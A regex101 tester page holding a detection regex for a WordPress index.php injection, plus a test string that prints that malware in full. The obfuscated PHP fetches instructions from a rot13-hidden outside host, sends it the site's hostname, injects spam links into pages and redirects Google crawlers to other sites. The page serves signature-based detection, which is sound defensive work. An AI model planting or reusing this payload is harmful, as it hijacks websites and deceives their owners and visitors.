Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

const regex = /^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['"]http_host['"]\];\1.{0,90}?if\(\@\$_get\[["']merdo["'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['"]links.{0,110}header\(['"]location:\s*["']\.\$url.{0,100}?\)\.['"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)/gis; // Alternative syntax using RegExp constructor // const regex = new RegExp('^(?:[[:^print:][:cntrl:]\\s]|GIF89.{0,20})*<\\?(?:php)?\\s*(\\$\\w+)=\\@\\$_server\\[[\'"]http_host[\'"]\\];\\1.{0,90}?if\\(\\@\\$_get\\[["\']merdo["\'\\]\\)\\{\\w\\s\'\\<\\!\\-]+sysadmin.{0,180}?curl_setopt\\(\\$.{0,370}?file_get_contents\\(\\$.{0,150}?$\\w{0,21}=\\@json_decode\\(str_rot13\\(.{0,460}?\\$\\w.{0,21}\\[["\']html.{0,550}?\\$myurl=rtrim\\(\\$\\w.{0,21}\\[[\'"]links.{0,110}header\\([\'"]location:\\s*["\']\\.\\$url.{0,100}?\\)\\.[\'"]\\?merdo=.{0,140}?\\);(?:[^>]+>\\s*)?(?=\\s*<\\?(?:php)?)', 'gis') const str = `<?php \$eMaOCtmXlSnImjmiCMmP=@\$_SERVER["HTTP_HOST"];\$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',\$eMaOCtmXlSnImjmiCMmP);if(@\$_GET["merdo"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz(\$WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){\$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,\$WDqgjhajdhXeSWcZQBrY);curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec(\$JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents(\$WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF(\$SMKstKjPCEdudocSCHHm){global \$mnTIeyfFkNxHxpHFcEse;\$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13(\$SMKstKjPCEdudocSCHHm),true);if(\$DkiJvJYOhXiunDLZIogN["type"]=="link"||\$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count(\$DkiJvJYOhXiunDLZIogN["links"])){\$XxXBDNFNLjLqzmBZbKRY='';foreach(\$DkiJvJYOhXiunDLZIogN["links"]as \$AXzHJsVXmlVXbzpqVwQJ){\$XxXBDNFNLjLqzmBZbKRY.="<a href=\\"".\$AXzHJsVXmlVXbzpqVwQJ["url"]."\\" title=\\"".\$AXzHJsVXmlVXbzpqVwQJ["title"]."\\">".\$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\\n";}\$SmkbvCeraMrwNwvcAesM=\$DkiJvJYOhXiunDLZIogN["html"];\$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',\$XxXBDNFNLjLqzmBZbKRY,\$SmkbvCeraMrwNwvcAesM);echo \$SmkbvCeraMrwNwvcAesM;}else{\$SmkbvCeraMrwNwvcAesM=\$DkiJvJYOhXiunDLZIogN["html"];\$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',\$SmkbvCeraMrwNwvcAesM);echo \$SmkbvCeraMrwNwvcAesM;}}elseif(\$DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match('#google#',\$_SERVER["HTTP_USER_AGENT"])){\$uri=\$_SERVER['REQUEST_URI'];\$rand_keys=array_rand(\$DkiJvJYOhXiunDLZIogN["links"],1);\$myurl=rtrim(\$DkiJvJYOhXiunDLZIogN["links"][\$rand_keys]["url"],'/');\$url=\$myurl.\$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.\$url.'');exit();}}}\$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.\$eMaOCtmXlSnImjmiCMmP;\$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz(\$VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF(\$zEGHtEUrCiJBSXWxYOdV); ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' ); `; // Reset `lastIndex` if this regex is defined globally // regex.lastIndex = 0; let m; while ((m = regex.exec(str)) !== null) { // This is necessary to avoid infinite loops with zero-width matches if (m.index === regex.lastIndex) { regex.lastIndex++; } // The result can be accessed through the `m`-variable. m.forEach((match, groupIndex) => { console.log(`Found match, group ${groupIndex}: ${match}`); }); }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions